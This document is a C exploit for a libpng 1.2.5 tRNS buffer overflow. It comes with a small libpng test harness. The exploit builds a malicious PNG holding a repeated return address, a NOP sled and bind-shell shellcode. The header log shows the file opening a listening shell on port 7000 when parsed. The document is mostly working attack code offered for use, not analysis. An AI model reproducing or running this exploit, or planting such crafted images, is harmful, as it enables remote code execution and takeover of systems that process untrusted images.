LibPNG Graphics Library Remote Buffer Overflow Exploit/*
* exploit for libpng, tested on version 1.2.5
* infamous42md AT hotpop DOT com
*
* shouts to mitakeet (hope u patched :D)
*
* [n00b_at_localho.outernet] ./po
* Usage: ./po < retaddr > [ outfile ]
*
* -all u need to give is retaddr, the default file it creates is controlled by
* the define below, or u can pass a diff outfile name on the command line.
* the output is not an entire png, just enough to trigger the bug. i've also
* included a simple program to test with.
*
* [n00b_at_localho.outernet] netstat -ant | grep 7000
* [n00b_at_localho.outernet] gcc pnouch.c -Wall -o po
* [n00b_at_localho.outernet] gcc pngslap.c -o slapped -lz -lm lib/libpng12.so
* [n00b_at_localho.outernet] ./po 0xbffff8b0
* [n00b_at_localho.outernet] ./slapped britnay_spares_pr0n.png
* libpng warning: Missing PLTE before tRNS
* libpng warning: tRNS: CRC error
* [n00b_at_localho.outernet] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define OUTFILE "britnay_spares_pr0n.png"
#define BS 0x1000
#define ALIGN 0
#define NOP 0x90
#define NNOPS 100
#define RETADDR_BYTES 300
#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0)
/* identifies a file as a png */
#define MAJIC_LEN sizeof(png_majic)
u_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a };
/*
* appears first, gives len/width/etc. important part is setting the color type
* to 0x03, byte 10 of the IHDR data. that signfies that a PALLETE chunk should
* be present. but we dont have one, and that is how the len check is bypassed.
* the chunk len includes only the data, not the len field itself, or the id, or
* the crc at the end. these bytes are stolen from the advisory.
*/
#define IHDR_LEN sizeof(png_ihdr)
u_char png_ihdr[] = { 0x00, 0x00, 0x00, 0x0d, /* chunk len */
0x49, 0x48, 0x44, 0x52, /* chunk id */
0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x45,
0x08, 0x03, 0x00, 0x00, 0x01,
0x65, 0x33, 0x5a, 0xd6 /* chunk crc */
};
/*
* this is the tRNS type chunk, this is the evil chunk that actually contains
* the shellcode.
*/
#define TRNS_LEN sizeof(png_trns_len_id)
u_char png_trns_len_id[] = { 0x00, 0x00, 0x00, 0x00, /* chunk len filled in*/
0x74, 0x52, 0x4e, 0x53 /* chunk id */
/* begin chunk data */
/* retaddr, NOPS, shellcode, CRC will follow */
};
/* call them shell code */
#define SHELL_LEN strlen(sc)
char sc[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
int fd = 0, len = 0, x = 0, chunk_len = 0;
char *filename = OUTFILE;
u_char buf[BS];
u_long retaddr = 0;
if(argc < 2){
fprintf(stderr, "Usage: %s < retaddr > [ outfile ]\n", argv[0]);
return EXIT_FAILURE;
}
if(argc > 2)
filename = argv[2];
memset(buf, 0, BS);
sscanf(argv[1], "%lx", &retaddr);
/* create buffer:
* png id - png ihdr - png trns - retaddr - NOPS - shell - crc(don't need)
*/
memcpy(buf, png_majic, MAJIC_LEN);
len += MAJIC_LEN;
memcpy(buf+len, png_ihdr, IHDR_LEN);
len += IHDR_LEN;
memcpy(buf+len, png_trns_len_id, TRNS_LEN);
len += TRNS_LEN;
for(x = 0; x < RETADDR_BYTES-3; x += 4)
memcpy(buf+len+x+ALIGN, &retaddr, sizeof(retaddr));
x += ALIGN;
len += x;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, sc, SHELL_LEN);
len += SHELL_LEN;
/* length of chunk data */
chunk_len = x + NNOPS + SHELL_LEN;
*(u_long *)(buf+MAJIC_LEN+IHDR_LEN) = htonl(chunk_len);
/* include the crc */
len += sizeof(u_long);
/* create the file */
if( (fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0666)) < 0)
die("open");
if(write(fd, buf, len) != len)
die("write");
close(fd);
return 0;
}
------------------------------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include "png.h"
/* The png_jmpbuf() macro, used in error handling, became available in
* libpng version 1.0.6. If you want to be able to run your code with older
* versions of libpng, you must define the macro yourself (but only if it
* is not already defined by libpng!).
*/
#ifndef png_jmpbuf
#define png_jmpbuf(png_ptr) ((png_ptr)->jmpbuf)
#endif
#define ERROR 1
#define OK 0
int read_png(char *file_name) /* We need to open the file */
{
png_structp png_ptr;
png_infop info_ptr;
unsigned int sig_read = 0;
png_uint_32 width, height;
int bit_depth, color_type, interlace_type;
FILE *fp;
if ((fp = fopen(file_name, "rb")) == NULL)
return (ERROR);
/* Create and initialize the png_struct with the desired error handler
* functions. If you want to use the default stderr and longjump method,
* you can supply NULL for the last three parameters. We also supply the
* the compiler header file version, so that we know if the application
* was compiled with a compatible version of the library. REQUIRED
*/
png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING,
NULL, NULL, NULL);
if (png_ptr == NULL)
{
fclose(fp);
return (ERROR);
}
/* Allocate/initialize the memory for image information. REQUIRED. */
info_ptr = png_create_info_struct(png_ptr);
if (info_ptr == NULL)
{
fclose(fp);
png_destroy_read_struct(&png_ptr, png_infopp_NULL, png_infopp_NULL);
return (ERROR);
}
/* Set error handling if you are using the setjmp/longjmp method (this is
* the normal method of doing things with libpng). REQUIRED unless you
* set up your own error handlers in the png_create_read_struct() earlier.
*/
if (setjmp(png_jmpbuf(png_ptr)))
{
/* Free all of the memory associated with the png_ptr and info_ptr */
png_destroy_read_struct(&png_ptr, &info_ptr, png_infopp_NULL);
fclose(fp);
/* If we get here, we had a problem reading the file */
return (ERROR);
}
/* Set up the input control if you are using standard C streams */
png_init_io(png_ptr, fp);
/* If we have already read some of the signature */
png_set_sig_bytes(png_ptr, sig_read);
/*
* If you have enough memory to read in the entire image at once,
* and you need to specify only transforms that can be controlled
* with one of the PNG_TRANSFORM_* bits (this presently excludes
* dithering, filling, setting background, and doing gamma
* adjustment), then you can read the entire image (including
* pixels) into the info structure with this call:
*/
png_read_png(png_ptr, info_ptr, PNG_TRANSFORM_IDENTITY, png_voidp_NULL);
/* clean up after the read, and free any memory allocated - REQUIRED */
png_destroy_read_struct(&png_ptr, &info_ptr, png_infopp_NULL);
/* close the file */
fclose(fp);
/* that's it */
return (OK);
}
int main(int argc, char **argv)
{
if(argc < 2){
fprintf(stderr, "Usage: %s <png>\n", argv[0]);
return EXIT_FAILURE;
}
if(read_png(argv[1]) != OK){
fprintf(stderr, "Error reading png\n");
return EXIT_FAILURE;
}
return 0;
}